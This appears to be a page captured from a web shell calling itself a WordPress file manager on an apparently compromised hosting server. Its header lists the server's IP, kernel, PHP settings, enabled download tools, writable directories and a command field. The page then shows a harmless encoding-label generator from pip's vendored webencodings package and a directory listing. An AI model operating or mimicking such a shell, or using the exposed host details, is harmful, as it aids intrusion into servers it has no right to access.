GRAYBYTE WORDPRESS FILE MANAGER7206

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib/python2.7/site-packages/pip/_vendor/webencodings/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib/python2.7/site-packages/pip/_vendor/webencodings//mklabels.py
"""

    webencodings.mklabels
    ~~~~~~~~~~~~~~~~~~~~~

    Regenarate the webencodings.labels module.

    :copyright: Copyright 2012 by Simon Sapin
    :license: BSD, see LICENSE for details.

"""

import json
try:
    from urllib import urlopen
except ImportError:
    from urllib.request import urlopen


def assert_lower(string):
    assert string == string.lower()
    return string


def generate(url):
    parts = ['''\
"""

    webencodings.labels
    ~~~~~~~~~~~~~~~~~~~

    Map encoding labels to their name.

    :copyright: Copyright 2012 by Simon Sapin
    :license: BSD, see LICENSE for details.

"""

# XXX Do not edit!
# This file is automatically generated by mklabels.py

LABELS = {
''']
    labels = [
        (repr(assert_lower(label)).lstrip('u'),
         repr(encoding['name']).lstrip('u'))
        for category in json.loads(urlopen(url).read().decode('ascii'))
        for encoding in category['encodings']
        for label in encoding['labels']]
    max_len = max(len(label) for label, name in labels)
    parts.extend(
        '    %s:%s %s,\n' % (label, ' ' * (max_len - len(label)), name)
        for label, name in labels)
    parts.append('}')
    return ''.join(parts)


if __name__ == '__main__':
    print(generate('http://encoding.spec.whatwg.org/encodings.json'))

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 20:23:47
root / root
0755
__init__.py
10.328 KB
April 21 2022 18:08:21
root / root
0644
__init__.pyc
11.2 KB
April 21 2022 18:08:35
root / root
0644
__init__.pyo
11.132 KB
April 21 2022 18:08:36
root / root
0644
labels.py
8.769 KB
April 21 2022 18:08:21
root / root
0644
labels.pyc
5.189 KB
April 21 2022 18:08:35
root / root
0644
labels.pyo
5.189 KB
April 21 2022 18:08:35
root / root
0644
mklabels.py
1.274 KB
April 21 2022 18:08:21
root / root
0644
mklabels.pyc
2.198 KB
April 21 2022 18:08:35
root / root
0644
mklabels.pyo
2.145 KB
April 21 2022 18:08:36
root / root
0644
tests.py
6.408 KB
April 21 2022 18:08:21
root / root
0644
tests.pyc
6.668 KB
April 21 2022 18:08:35
root / root
0644
tests.pyo
3.151 KB
April 21 2022 18:08:36
root / root
0644
x_user_defined.py
4.205 KB
April 21 2022 18:08:21
root / root
0644
x_user_defined.pyc
3.293 KB
April 21 2022 18:08:35
root / root
0644
x_user_defined.pyo
3.293 KB
April 21 2022 18:08:35
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF